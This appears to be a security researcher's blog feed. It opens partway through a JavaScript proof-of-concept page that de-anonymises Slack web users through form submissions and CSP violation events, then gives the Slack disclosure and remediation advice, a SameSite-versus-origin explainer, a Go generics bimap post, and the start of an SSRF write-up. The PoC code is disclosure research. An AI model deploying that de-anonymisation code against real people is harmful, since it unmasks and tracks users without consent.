        "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAACCCCC/download/foo.txt", // shared by Mallory with Alice and Carol
        "https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBCCCCC/download/foo.txt"  // shared by Mallory with Bob   and Carol
      ];
      const tracked = [
        "anonymous/untracked user", // 00
        "Alice",                    // 01
        "Bob",                      // 10
        "Carol",                    // 11
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        var bv = 3; // 2-bit vector, initially all ones
        if (browserIsNotSupported()) {
          return;
        }
        window.addEventListener('securitypolicyviolation', () => {
          bv ^= 1 << i; // clear corresponding bit from bit vector
        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i];
          myForm.submit();
          await sleep();
        }
        notifyOfVisitBy(tracked[bv]);
      }
      test();
    script>
  body>
html>

Though much more efficient, this approach isn’t as stealthy as the linear one because it generates a lot of notification noise in the victims’ Web clients; and, unfortunately for the attacker, using a burner account that they would then deactivate as in the linear approach wouldn’t make all those notifications disappear, because the corresponding DMs in general involve more than two interlocutors.

Responsible disclosure to Slack and discussion ¶

I reported my findings to Slack through their public bug-bounty programme on HackerOne. Somewhat predictably, they chose not to reward my report, but their response, which they allowed me to disclose here, left something to be desired:

Thank you for your report. We appreciate you bringing this to our attention, but after some internal discussion, we’ve chosen not to make a change here at this time.

This attack scenario differs slightly from the report you are referencing (#329957) in several ways. First, this attack relies on a “team member against team member” attack scenario, and we generally consider Workspaces to be at least somewhat “trusted spaces”. We generally require a higher severity bar for vulnerabilities that exist only within a team. Second, unlike truly public services, there is at least some implied measure of trust, or at least familiarity, between two users in a Slack Workspace. This contrasts from truly public services, in which two users may not have any relationship at all. For these reasons, we will be closing this report as Informative.

Thanks, and good luck with your future bug hunting.

Before I discuss Slack’s response, let me first play the Devil’s advocate and list some attenuating circumstances that lessen the impact of the de-anonymisation attack.

Attenuating circumstances ¶

The multi-target variant of the attack indeed suffers from some limitations:

It is only viable in some browsers—most notably not in Firefox and Safari—and simply doesn’t apply in Slack’s desktop client or mobile apps, which are likely more popular than Slack’s Web client is.
It either generates a lot of notification noise or doesn’t scale gracefully against a large number of targeted users. There may be a way of silently sharing a resource with other users, without triggering any notification, but I’m not aware of any.
It is somewhat brittle insofar as it’s partly timing-based; inappropriate calibration of the delay (ms, in my PoC) may cause spurious results.

Nevertheless, I find Slack’s response underwhelming for several reasons.

Implied trust between members ¶

Slack may be overestimating the implied trust between members. The Electronic Frontier Foundation (EFF), in a post about Slack privacy merits and demerits, hits the nail on the head:

Any group environment is only as trustworthy as the people who participate in it. Group members can share and even screenshot content, so it is important to establish guidelines and expectations that all members agree on.

There are many large, cross-business Slack workspaces; take the EBRC’s or Chromium’s as examples. Implicitly assuming mutual trust between so many members is dangerous.

Low barrier to entry ¶

Although the attacker must be a member of the Slack workspace whose members they plan to target, the barrier to entry tends to be low. For instance, by default, any non-guest member can invite people to join their Slack workspace. Besides, although admins can restrict signup to people whose email address matches an allowlist of domains, few elect to do so, and when they do, their allowlist can, regrettably, be quite permissive.

Workspace membership is fluid ¶

New members join; some existing ones leave, whether given the choice or not. Even formerly revered members may receive a ban after a series of missteps. In fact, Slack itself acknowledges that the composition of a workspace isn’t set in stone and urges admins to diligently curate their list of members for security reasons:

Deactivate members’ accounts who no longer need access. Change is constant, and people come and go. Don’t forget to deactivate a member’s account when they leave.

This injunction contradicts Slack’s stance in their response to my report.

Privacy matters more to some than to others ¶

In this era of third-party tracking run amok and neverending series of data leaks, the possibility of de-anonymisation may only elicit a bored yawn from the average Joe or Jane. For other people, though, privacy is paramount and shouldn’t be compromised at any cost. Slack itself boasts about its value for government entities and military personnel. The EFF observes that

[c]ommunity groups, activists, and workers in the United States are increasingly gravitating toward Slack to communicate and coordinate efforts.

An attacker may follow de-anonymisation with a spearphishing attack. How likely would you be to check the domain name in your browser’s address bar if you were lured to a spoofed Slack login form with your email address—which Slack discloses to other members by default—prefilled?

Even if we discard the possibility of follow-up phishing attacks, de-anonymisation and the harvesting of IP addresses and browser fingerprints can be weaponised. Only very recently, several Youth For Climate activists protesting gentrification in Paris saw their IP addresses and browser fingerprints handed over to French police by ProtonMail, which ultimately led to their arrest. Some nefarious for-profit organisations even specialise in correlating social-media posts with geographical locations, etc. and routinely partner with law enforcement (or worse) to monitor and crack down on protestors, political dissidents, activists, etc.

By the way, if you want to help right a wrong, you can hunt on ProtonMail’s public bug-bounty programme and donate your bountie(s) to Youth For Climate, as I once did.

Users are defenceless ¶

Users cannot do much to protect themselves against de-anonymisation. They cannot prevent attackers from installing “tracker” resources, because any workspace member can send a DM to any other; and, as far as I know, Slack doesn’t allow users to block other users. Users aware of the attack may be tempted to mute the DM conversation with the attacker, but doing so doesn’t help at all. Measures that effectively protect users who insist on accessing Slack through its Web client are limited to

diligently using a dedicated browser instance for Slack and/or the Tor network,
not browsing anything other than Slack while logged in, or
disabling JavaScript altogether.

Remediation guidance ¶

For all the reasons listed above, Slack should plug this privacy hole. I can think of two options.

Slack could generate user-specific URLs for accessing shared resources. One stateless implementation consists in making Slack’s backend require, in the URL, the presence of some HMAC value specific to both the querying user and the queried resource. Unfortunately, this approach may be difficult to retrofit without breaking access to resources that have already been shared, and it may also conflict with caching.

Alternatively, Slack could leverage a privacy feature called Fetch Metadata request headers, which provides valuable information about the nature of requests sent by compliant browsers, including Chromium. Hitting the URL in the browser’s address bar indeed triggers a request containing the following headers,

Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

and downloading the file by clicking on the Download button in Slack’s UI triggers a request containing the following headers,

Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

In contrast, the malicious page issues requests that contain the following headers:

Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document

Note, in particular, that the value of the Sec-Fetch-Site request header is different in all three cases. This observable difference should be enough for Slack to discriminate between a genuine request and a de-anonymisation attack of the kind I’ve outlined in this post.

Thoughts on Chromium’s form-action implementation ¶

Whether form-action should block redirects after a form submission is a matter of dispute; even the W3C hasn’t made up its collective mind, and the directive’s behaviour in the face of redirects remains unspecified. The conversation in the relevant GitHub issue has so far revolved around the risk of form-data exfiltration and the tradeoff between strictness and usability, but the possibility of an attacker abusing form-action to effect an XSLeak of the kind described here appears to have been overlooked.

Perhaps this post will contribute, to some extent, in getting the Chromium team to reconsider its implementation decisions regarding form-action, as the current implementation somewhat undermines the benefits of SameSite=Lax.

Edit (2021/12/06): I subsequently opened crbug #1259077 to alert the Chromium team to this problem.

Acknowledgements ¶

Thanks a lot to Zach Edwards, who gave me valuable feedback on my findings. Thanks also to Alesandro Ortiz and @pixeldetracking who kindly agreed to review an early draft of this post.

Subdomain takeover: ignore this vulnerability at your peril

Fri, 12 Feb 2021 08:35:00 +0000

My third guest post on Honeybadger’s blog, entitled

Subdomain Takeover: Ignore This Vulnerability at Your Peril

has just been published!

The great SameSite confusion

Fri, 29 Jan 2021 13:15:00 +0000

In this post, I dissect a common misconception about the SameSite cookie attribute and I explore its potential impact on Web security.

TL;DR ¶

The SameSite cookie attribute is not well understood.
Conflating site and origin is a common but harmful mistake.
The concept of site is more difficult to apprehend than meets the eye.
Some requests are cross-origin but same-site.
SameSite only has effects on cross-site requests.
SameSite paints a target on your subdomains’ back.
Misguided practitioners may unduly eschew SameSite=Strict.

The advent of `SameSite` ¶

You undoubtedly have heard of the SameSite cookie attribute. It made headlines when, in February 2020, Chrome started rolling out changes to SameSite’s default behaviour. Intended as a defence-in-depth mechanism against cross-site attacks, such as cross-site request forgery (CSRF) and cross-site script inclusion (XSSI), SameSite had been lying dormant at the heart of implementing browsers since its inception in 2016.

SameSite’s activation in early 2020 required labourious adjustments by some websites to maintain third-party access, but was widely hailed as a welcome addition to browser defences. Both in anticipation and in reaction to SameSite’s activation in browsers, posts started sprouting on blogs all over the Web to spread the word about the mechanics of the “new” cookie attribute.

Playing fast and loose with terminology ¶

Some of those posts were of admirable precision, such as Rowan Merewood’s web.dev piece entitled “SameSite cookies explained”. Unfortunately, relatively few of the posts about SameSite went through the effort of clarifying the concept of site, from which the technical concepts of same-site request and cross-site request are of course derived.

Moreover, many posts, including those produced by influential members of the infosec community, appeared to use the terms “origin” and “site” interchangeably or, at least, somewhat loosely.

Back in February 2019, Kristian Bremberg wrote the following on the venerable Detectify blog:

The SameSite attribute is rather new and provides excellent protection against CSRF attacks. If a cookie uses the SameSite attribute, the web browser will make sure that the request made with the cookie came from the origin that sat [sic] the cookie.

(my emphasis)

Infosec superstar Troy Hunt himself, in a seminal post entitled “Promiscuous Cookies and Their Impending Death via the SameSite Policy” and published in early January 2020, described the effects of the different SameSite attribute values as follows:

None: what Chrome defaults to today without a SameSite value set

Lax: some limits on sending cookies on a cross-origin request

Strict: tight limits on sending cookies on a cross-origin request

(my emphasis)

And a few months later, in an otherwise fascinating post analysing how the advent of SameSite was affecting a range of vulnerabilities cherished by hackers, the Reconless team wrote the following:

After the update, all cookies without an explicit SameSite attribute will be treated as having SameSite=Lax. This means cross-origin requests no longer carry cookies, except for top-level navigations.

(my emphasis)

Domain, host, origin, site… Using those terms loosely in informal communication is natural; such laxity in the use of terminology can be forgiven, and if you’ve been guilty of it yourself, you’re in good company.

Are “site” and “origin” interchangeable? ¶

However, the advent of the SameSite cookie attribute raises some questions…

Is a careful distinction between “origin” and “site” warranted, here?
Is it just a distinction without a difference?
Is a cross-site request no different from a cross-origin request?
Could the cookie attribute have as well been named “SameOrigin”, then?
Or, if there is indeed a real difference between “site” and “origin”, does it matter to practitioners?
And, if the difference does matter, how so?

You may have already guessed the answers from the title of this post: “site” has a very technical meaning in the context of SameSite, yet it is unduly neglected; and the distinction between site and origin does matter, yet the two concepts are frequently conflated.

This lapse in terminology didn’t escape everyone. That Google’s Developer Advocate of Web Eiji Kitamura felt the need to dedicate a whole blog post about the distinction between “origin” and “site”, only a few months after Chrome activated SameSite, is revealing.

In order to understand why the distinction matters, you first need to understand the difference between origin and site.

What do we mean by “origin”? ¶

If you work with Web technologies, you have at least some familiarity with the Same-Origin Policy (SOP), arguably one of the main pillars of Web security. The concept of origin of a URI is of course central to the SOP and, as such, it is relatively well-understood. Section 3.2 of RFC 6454 defines an origin as a triple:

Roughly speaking, two URIs are part of the same origin (i.e., represent the same principal) if they have the same scheme, host, and port.

The port is optional; if not specified, the default port associated to the scheme is implied (e.g. 80 for http and 443 for https). MDN Web Docs has a series of clarifying examples.

What do we mean by “site”? ¶

Behind the painfully generic term that is “site” hides a concept fundamentally more difficult to grasp than that of origin. For one thing, the term “site” was not always a technical one: it predates the SOP and was in in common use when attacks like cross-site scripting came onto the scene. Furthermore, the modern concept of site is fraught with technical difficulties. It is intimately linked to that of a host’s registrable domain, which the URL Living Standard defines as

[…] a domain formed by the most specific public suffix, along with the domain label immediately preceeding it, if any.

(A host’s registrable domain is also known as its “eTLD+1”, short for “effective top-level domain plus one”.)

In the simplest of cases, the site of an origin simply corresponds to the registrable domain (if any) of the origin’s host.

Two examples, to fix ideas:

The site of https://www.example.org is example.org, because org is the host’s most specific public suffix and, therefore, example.org is the host’s eTLD+1.
The site of https://jub0bs.github.io is jub0bs.github.io, because github.io is the host’s most specific public suffix and, therefore, jub0bs.github.io is the host’s eTLD+1.

Yes! Perhaps surprisingly, github.io is a public suffix!

It’s worth noting, however, that the concept of registrable domain is a fluid one, because it relies on the Public-Suffix List, a list which is not set in stone but subject to change over time. Not to mention that different browsers may not necessarily stay abreast of changes to the Public-Suffix list at the same pace.

The technicalities do not end there! As web.dev warns us, the concept of site is still evolving and will soon incorporate the scheme also. The change currently sits behind a flag in Chrome but will soon be rolled out. However, to sidestep this difficulty and prolong the relevance of this post, I’ll only consider origins whose scheme is https in what follows.

Same-site vs. cross-site requests ¶

Now that we’ve dealt with the concept of site, we can finally discuss the concepts of same-site and cross-site requests. A given request is either same-site or cross-site. Whether a request is same-site or cross-site depends on the comparison between the sites of the request’s source origin and target origin:

If the two sites are identical, the request is said to be same-site;
If the two sites are different, the request is said to be cross-site.

Here are three examples:

A request sent from https://foo.example.org to https://bar.example.org is same-site, because the site of both origins is example.org.
A request sent from https://foo.github.io to https://bar.github.io is cross-site, because the site of the first origin is foo.github.io, whereas the site of the second origin is bar.github.io.
A request sent from https://foo.bar.example.org to https://bar.example.org is same-site, because the site of both origins is example.org.

If you’ve made it this far down the present post, I thank you for your patience. Take heart: the payoff is near!

Cross-origin, same-site requests ¶

All cross-site requests are necessarily cross-origin; that much is clear. However, as shown by the first and third examples above and as illustrated by the crude Venn diagram below, not all cross-origin requests are cross-site.

And the SameSite cookie attribute is only concerned with cross-site requests; it has no effect on cross-origin requests that happen to be same-site. This is why the distinction between origin and site is important.

Online demo ¶

To prove my point, I’ve drawn inspiration from Troy Hunt’s post and I’ve deployed a simple Go server to samesitedemo.jub0bs.com composed of two endpoints. Endpoint /setcookie sets a SameSite=Strict cookie, like so:

Set-Cookie: StrictCookie=foo; Path=/; Max-Age=3600; SameSite=Strict

Endpoint /readcookie prints the cookie (if any) attached to the request. I’ve also set up two “attacking” pages:

Both pages simply consist in a single link to https://samesitedemo.jub0bs.com/readcookie.

To fix ideas, here’s what you can do:

Navigate to https://samesitedemo.jub0bs.com/setcookie. Doing so will set the Strict cookie in your browser.
Navigate to https://jub0bs.github.io/samesitedemo-attacker-foiled and follow the link on that page. Because the site of the attacking URI (jub0bs.github.io) is different from that of the target URI (jub0bs.com), the browser does not attach the cookie to the request resulting from following the link, and no cookie gets printed in the response. SameSite=Strict works as expected, and the “attack” is foiled.
Now navigate to https://samesitedemo-attacker.jub0bs.com/ and follow the link on that page. Because the site of the attacking URI (jub0bs.com) is identical to that of the target URI (jub0bs.com), the browser does attach the cookie to the request resulting from following the link, and the cookie does get printed in the response. The SameSite cookie attribute simply doesn’t apply, in this case, and the “attack” is a success.

The cost of conflating site and origin ¶

False sense of security ¶

Implying that SameSite applies to all cross-origin requests is harmful, because it may lead practitioners to believe, incorrectly, that SameSite protects their users against all cross-origin abuse. Such a misconception is particularly dangerous to practictioners who neglect to scrutinise the security level of their subdomains. In particular,

a subdomain takeover, or
an instance of cross-site scripting (XSS) on a subdomain of the same site, or
an instance of HTML injection on a subdomain of the same site

may be sufficient for an attacker to bypass the relative protection that SameSite provides.

A subdomain takeover is an attack that was popularised by Detectify as far back as 2014. It consists in exploiting a dangling DNS record on a subdomain in order to take control of some or all of the content served by the subdomain in question. An attacker may leverage a subdomain takeover to various ends: defacement, phishing, etc… but also cross-origin attacks that would otherwise not be possible!

For instance, if the attacker were capable of taking over https://vulnerable.example.org, he or she may be in a position to send, from client code running in the context of the vulnerable subdomain, malicious requests to https://example.org (or any subdomain thereof); and such requests, being same-site, would carry all the relevant cookies, regardless of the value of their SameSite attribute!

A subdomain takeover may not even be required for such cross-origin, same-site attacks. The presence of an XSS or HTML-injection vulnerability on a subdomain of the same site may be all the attacker needs to send malicious cross-origin, same-site requests.

Note: “Cross-site request forgery” is a misnomer in both of the cases described above, because the attacking site and the targeted site are the same; “same-site cross-origin request forgery” (SSCORF?) would be more apt a term to describe such an attack, but I doubt it will ever achieve common use.

What I find fascinating is that SameSite is likely to focus the attention of savvy attackers on your subdomains and sibling domains even more than in the past, because those domains are fast becoming the only refuge for cross-origin attacks against battle-hardened Web apps.

Slower adoption of `SameSite=Strict` ¶

Besides, this misconception may also slow down the adoption of the Strict value in favour of the Lax one. Some people indeed actively discourage practitioners from using Strict because they perceive it as a greater impediment to usability than it actually is. For instance, on Dareboost’s blog, you can read the following statement:

if we were using Strict Same-Site on dareboost.com, by clicking this link, you would not be detected as logged in, whether you were connected or not.

That statement is incorrect: the link in question is present on https://blog.dareboost.com and leads to https://www.dareboost.com; therefore, the request triggered by clicking the link would be same-site and carry all the cookies scoped at the www subdomain or the parent domain.

The author concludes:

The behaviour can be confusing for the final user, so you would prefer using the Lax mode.

This is just one example of unjustly disparaging the Strict value, but I’m sure you could find more examples elsewhere on the Web.

Parting words ¶

I’ve reached out to all the people I quoted above who I believe are inaccurate in their description of SameSite’s mechanics. So far, only Kristian Bremberg from Detectify and Edwin Foudil (also known as @edoverflow) from Reconless have replied to me. I have high hopes that they will amend their posts after reading this one. I’ve left a public comment on Troy Hunt’s post, but he hasn’t gotten back to me yet; and I’ve reached out to Dareboost, but I have yet to hear back from them.

Edit (2021/02/10): Dareboost have since amended their post.

Remember: SameSite is a powerful defence-in-depth mechanism for protecting users against cross-site attacks, but it is powerless against cross-origin, same-site attacks. Don’t miss this subtlety! Otherwise, if you’re on the defensive side, you may be lulled into a false sense of security and you may get blindsided by attacks you would not have thought possible; and if you’re on the offensive side, you may miss out on vulnerability findings and perhaps even sizable bug bounties.

Addendum (2021/01/31) ¶

Since the first publication of this post, I have found more noteworthy instances of incautious use of the terms “origin” and “site” when describing SameSite’s mechanics. I have not attempted to contact the authors of the pieces I quote below.

Back in 2016, Sjoerd Langkemper, Web application Hacker at Qbit Cyber Security, wrote the following on his blog:

This table shows what cookies are sent with cross-origin requests. As you can see cookies without a same-site attribute […] are always sent. Strict cookies are never sent. Lax cookies are only send with a top-level get request.

(my emphasis)

In May 2018, Artur Janc and Mike West (the author of the Same-site Cookies Internet Draft himself) released a report (PDF) entitled “How do we Stop Spilling the Beans Across Origins?” in which you can read the following:

SameSite cookies do not directly prevent attackers from loading cross-origin resources, but they cause such requests to be sent without credentials, rendering the responses of little value to the attacker.

(my emphasis)

Finally, the Wikipedia page about CSRF itself claims the following:

If this attribute is set to “strict”, then the cookie will only be sent on same-origin requests, making CSRF ineffective.

(my emphasis)

Edit (2021/02/07): the Wikipedia page has since been corrected.

Acknowledgments ¶

I’d like to thank Fredrik N. Almroth, from Detectify, who kindly agreed to review a draft of this post before publication.

Protecting your apps from link-based vulnerabilities: reverse tabnabbing, broken-link hijacking, and open redirects

Wed, 29 Jul 2020 07:00:00 +0000

My second guest post on Honeybadger’s blog, entitled

Protecting Your Apps From Link-based Vulnerabilities: Reverse Tabnabbing, Broken-Link Hijacking, and Open Redirects

has just been published!

A glimpse at parametric polymorphism in Go: designing a generic bidirectional map

Tue, 21 Jul 2020 14:45:00 +0000

TL;DR ¶

To familiarise myself with the updated design draft on Type Parameters in Go, I wrote a generic implementation of a bidirectional map. You can try it out in this playground.

Edit (2022-04-03): Now that Go 1.18 is out, I’ve spruced up this post a bit.

Generics are coming to Go ¶

Support for parametric polymorphism (also colloquially known as “generics”) in the Go language is in active development. Last month, the Go team published a blog post detailing their progress on this front.

Johnny Boursiquot and Jaana B. Dogan reacted enthusiastically to the announce, which spurred me to read the updated design draft and take Go generics for a spin myself!

Why generics matter ¶

Before you keep reading this post, if you don’t know what generics are or if you’re doubtful as to whether they’re a good fit for Go, I invite you to read Ian Lance Taylor’s 2019 post on the topic.

The latest version of Go at the time of writing this post (v1.14) doesn’t support generics. As a result, library authors striving for maximum flexibility often have no other choice but to resort to using the empty interface (interface{}) all over the place (see sync.Map, for instance). Unfortunately, the ramifications of such a design choice can be acutely felt in client code. The empty interface being such an indiscriminate abstract type, it provides no compile-time guarantee as to what behaviours the concrete type underneath might exhibit. Users of the library are then forced to pepper their code with type assertions in order to manipulate the concrete types hiding underneath interface{}. Generics purport to solve this problem: they hold the promise of more flexible code without having to compromise on usability or type safety.

Some legitimate questions about the addition of generics to Go remain, though. Will it affect compilation speed detrimentally? More importantly, will it significantly compromise Go’s agenda of simplicity? Will it drastically complicate writing, reading, and consuming Go code? Finding answers to some of those questions was my primary motivation for writing this post.

Important changes to the generics design draft ¶

I won’t go into the gory details here; you can read the updated design draft for completeness. Here are the main elements I took away from it.

Contracts are gone ¶

Most importantly, contracts have been dropped from the design draft. Thanks to insight from parametric-polymorphism expert (and lambda-calculus superhero) Phil Wadler and his collaborators, the Go team was able to unify contracts under the existing concept of interfaces. I believe this to be an important step in the right direction, for two main reason:

The concept of contracts was always confusingly similar to, yet distinct from, that of interfaces. I remember this blurred line caused a mental block for me: it probably explains why I didn’t delve into the generics draft design before the most recent update.
The addition of a contract keyword, which would have required a break of compatibility with Go 1.0 at the source level, is no longer needed. The current draft proposal still requires changes to the language, but those changes are expected to be largely inconsequential for the majority of programs.

A new `comparable` interface ¶

Another notable change is the addition of an interface type named comparable as a predeclared name in the language. You guessed it: comparable denotes types that can be compared with operators == and !=.

One use case for generics: a bidirectional map ¶

After perusing the updated design draft, I scoured through my personal notes for interesting use cases of generics in Go libraries and programs, and the idea for a generic bidirectional map popped up. According to Wikipedia, a bidirectional map is

an associative data structure in which the key-value pairs form a one-to-one correspondence. Thus the binary relation is functional in each direction: each value can also be mapped to a unique key.

In other words, a bidirectional map is an abstraction not unlike a regular map but that enforces the following invariant: each value is associated to one and only one key.

In one of my side projects, I recently came across a use case (a tag system if you must know) for a bidirectional map. A non-generic implementation (of strings to strings) did the trick, but it left me wondering:

What would a generic implementation look like?
How does the addition of generics to the language change API design of Go packages?
How natural would it feel to use such a package?

Curiosity proved too strong to resist and I set out to design a Go API for a generic bidirectional map.

API design of a generic bidirectional map ¶

First things first: before diving into a possible implementation, let me outline what I’m trying to achieve.

The `bimap` package and its exported `Bimap` type ¶

The objective is to write a single package named bimap, which exports a (concrete) generic bidirectional-map type named Bimap. This type should take two comparable type parameters, one for for keys and and one for values.

The zero value should be readily usable ¶

An important lesson in API design from Josh Bloch that marked my Java days and has stayed with me ever since is that

[…] not only should it be easy to use a good API, but it should be hard to misuse a good API.

Designing a type so that its zero value correspond to a valid state is an important principle in Go, as it helps making the type’s API hard to misuse.

Factory function and methods ¶

bimap should provide a factory function for Bimap; such a function is named New, by convention. Here is a list of Bimap’s methods:

func (bi *Bimap[K, V]) Store(key K, value V)
func (bi *Bimap[K, V]) LoadValue(k K) (V, bool)
func (bi *Bimap[K, V]) LoadKey(v V) (K, bool)
func (bi *Bimap[K, V]) DeleteByKey(k K)
func (bi *Bimap[K, V]) DeleteByValue(v V)
func (bi *Bimap[K, V]) Size() int
func (bi *Bimap[K, V]) String() string

I apologise for the verbosity of some of those method names, but I wanted them to reflect the symmetry of the data structure: the roles of keys and values could indeed be swapped without consequence.

Note that all those methods use a pointer receiver: most of them require mutation of the Bimap’s internal state, and mixing pointer and value receivers within a single type is discouraged.

Store stores a key-value pair in the bidirectional map. Several semantics are possible, but one natural design choice is to silently drop pre-existing pairs involving the supplied key or the supplied value. LoadValue returns the value stored in the bidirectional map for a key and a boolean that indicates whether the key in question was found; LoadKey is LoadValue’s symmetric operation. DeleteByKey and DeleteByValue delete the key-value pair associated with the given key or value, respectively. Size returns the number of key-value pairs in the bidirectional map. Finally, Keys returns a slice of the keys, and Values returns a slice of the values, in no deterministic order.

The API of my bimap package is deliberately minimalistic. In particular, Bimap lacks a Range method; I leave this as an exercise for you. For visualisation purposes, though, I’ll make Bimap a Stringer, with a simple String implementation.

One possible implementation ¶

A very common implementation of a bidirectional map involves maintaining two maps, one from keys to values and another from values to keys; not a bad starting point, at least for a reference implementation of such a data structure. Because Bimap will hold at least two maps, the most natural choice for its underlying type is a struct.

All those design decisions lead us to the following type declaration for Bimap:

type Bimap[K, V comparable] struct {
	forward map[K]V
	inverse map[V]K
}

The type parameters K and V, which are constrained to be comparable, are introduced in square brackets following the type name.

For encapsulation purposes, the struct is completely opaque i.e., none of the fields are exported: otherwise, users of the bimap package would be able to mess with Bimap’s internals directly and break its invariant.

Writing the rest of the bimap package is relatively straightforward:

func (bi *Bimap[K, V]) Store(key K, value V) {
	k, exists := bi.inverse[value]
	if exists { // value is already associated with k
		delete(bi.forward, k)
	}
	v, exists := bi.forward[key]
	if exists { // key is already associated with v
		delete(bi.inverse, v)
	}
	if bi.forward == nil { // bi hasn't been initialised yet
		bi.forward = make(map[K]V)
		bi.inverse = make(map[V]K)
	}
	bi.forward[key] = value
	bi.inverse[value] = key
}

func (bi *Bimap[K, V]) LoadValue(k K) (V, bool) {
	v, ok := bi.forward[k]
	return v, ok
}

func (bi *Bimap[K, V]) LoadKey(v V) (K, bool) {
	k, ok := bi.inverse[v]
	return k, ok
}

func (bi *Bimap[K, V]) DeleteByKey(k K) {
	v := bi.forward[k]
	delete(bi.forward, k)
	delete(bi.inverse, v)
}

func (bi *Bimap[K, V]) DeleteByValue(v V) {
	k := bi.inverse[v]
	delete(bi.inverse, v)
	delete(bi.forward, k)
}

func (bi *Bimap[K, V]) Size() int {
	return len(bi.forward)
}

func (bi *Bimap[K, V]) Keys() []K {
	var keys []K
	for k := range bi.forward {
		keys = append(keys, k)
	}
	return keys
}

func (bi *Bimap[K, V]) Values() []V {
	var values []V
	for v := range bi.inverse {
		values = append(values, v)
	}
	return values
}

func (bi *Bimap[K, V]) String() string {
	return fmt.Sprintf("Bi%v", bi.forward)
}

Edit (2020-07-23): Store contains a bug; see the Addendum.

Note that, according to the current design draft, a generic receiver must specify all the type parameters that are required by the type, even when some of those type parameters are not used within the method’s body. For instance, declaring Size as follows

func (bi *Bimap[_, _]) Size() int

is illegal. Being to able to use the blank identifier in such places would certainly be nice, but I don’t know whether it’s on the cards. I’m only speculating here, but perhaps implementing this feature in the compiler would complicate monomorphisation…

The full source code of my bimap package, along with a test suite, is available in my jub0bs/bimap repo on GitHub.

Consuming the `bimap` package ¶

Once concrete types have been specified for a Bimap (a process known in the design draft as instantiation), the rest of the client code feels to me as natural as pre-generics Go code:

bi := bimap.New[int, string]()
bi.Store(0, "Planets&Stars")
bi.Store(1, "Chemistry")
bi.Store(0, "Astronomy")
bi.DeleteByValue("Chemistry")

What do you think?

Conclusion ¶

A bidirectional map is arguably a very simple use case of generics in Go, but it gives you some idea of what generic code will look like, should the design draft get accepted with little to no modifications.

What’s great about generics is that this bimap package only needs to be written once and can be used with any combination of (comparable) concrete types for the keys and values. As a library author, I find this liberating.

Moreover, I doubt that the added cognitive load required from users of generic code will prove prohibitive. Generics may be rightfully dreaded in other languages, but the absence of inheritance makes Go generics comparitively simpler to apprehend. As far as I’m concerned: Go generics for the win!

Addendum (2020/07/23) ¶

Unfortunately, as Martin Möhrmann pointed out to me on the Gophers Slack workspace, NaN (Not a Number) throws a spanner in the works and reveals a subtle bug in my original implementation of Bimap.

The Bimap type uses two backing maps, and maps exhibit a rather weird behaviour with keys for which equality isn’t reflexive (i.e. k such that k == k evaluates to false). Equality isn’t reflexive for NaN and for values of any composite type or defined type that contain a NaN. Because their type is comparable, such values can legally be added as keys to a map, but they cannot be loaded or deleted; check this for yourself in this playground.

As a result, the invariant of my original implementation of Bimap can be broken after such values are stored in it; see an example in this playground. At first sight, this unforeseen difficulty may seem inescapable…

An easy way out, though, short of changing the internal representation of Bimap, is to disallow storing keys and values for which equality isn’t reflexive. I can define a generic predicate for checking whether equality is reflexive for its argument,

func isEqualityReflexive[T comparable](t T) bool {
	return t == t
}

and check that both the key and the value passed to the Store method satisfy this predicate before adding the key-value pair to the Bimap. Rather than silently denying disallowed values, Store can be modified to return whether the operation was successful:

// Store creates a key-value pair and returns whether or not the
// operation was successful. Pre-existing key-value pairs (if any)
// that involve the given key and/or the given value are silently
// removed from the Bimap. Keys and values for which equality is
// not reflexive are disallowed.
func (bi *Bimap[K, V]) Store(key K, value V) bool {
	if !isEqualityReflexive(key) || !isEqualityReflexive(value) {
		return false
	}
	k, exists := bi.inverse[value]
	if exists { // value is already associated with k
		delete(bi.forward, k)
	}
	v, exists := bi.forward[key]
	if exists { // key is already associated with v
		delete(bi.inverse, v)
	}
	if bi.forward == nil { // bi hasn't been initialised yet
		bi.forward = make(map[K]V)
		bi.inverse = make(map[V]K)
	}
	bi.forward[key] = value
	bi.inverse[value] = key
	return true
}

Note that this boolean result is only useful when either the key type or the value type or both contain such disallowed values; with all other types, you can safely ignore that result.

Leveraging an SSRF to leak a secret API key

Mon, 22 Jun 2020 21:00:00 +0000

A server-side request forgery (SSRF) is a type of vulnerability that consists in tricking a server into sending network requests to unintended hosts. In some cases (e.g. Scott Helme’s Security Headers tool), allowing users to trigger HTTP requests from some backend to arbitrary hosts is a feature. In many other cases, though, it is a serious security bug that may enable attackers to wreak havok on the organisation behind the vulnerable server.

If you research SSRFs on the Web, you’ll likely come across write-ups of cosmic proportions, detailing how an SSRF enabled some security researchers to

and how those researchers earned sizable bounties as a result. SSRF hunting can indeed prove very lucrative: for instance, reports of SSRFs to Verizon’s bug-bounty programme have famously yielded multiple 5-figure dollar rewards to veteran hacker Thomas DeVoss (a.k.a. dawgyg).

Although I’m standing on the shoulders of giants, this post cannot lay claim to such greatness. You will not acquire mind-blowing new tricks within these lines, nor will you learn how to masterfully chain four different vulnerabilities to achieve Critical severity. This post is a story of modest beginnings, the story of the first SSRF I found in the wild.

My ambition in writing it is simple: retrace my steps and document my reasoning at the time, if only for my own sake; capture my excitement during the hunt and the thrill of the kill; and, perhaps, arouse newcomers’ interest in this fascinating class of vulnerability that is server-side request forgery. And who knows? They might even make a few bucks out it!

Because I’m not at liberty to disclose the name of the target, I’ve had to anonymise quite a few elements in this post. Here is what I can share with you: the target was a relatively low-profile altcoin outfit that runs a public bug-bounty programme, albeit off the main platforms; after registering on their Web app, users can create wallets for various cryptocurrencies.

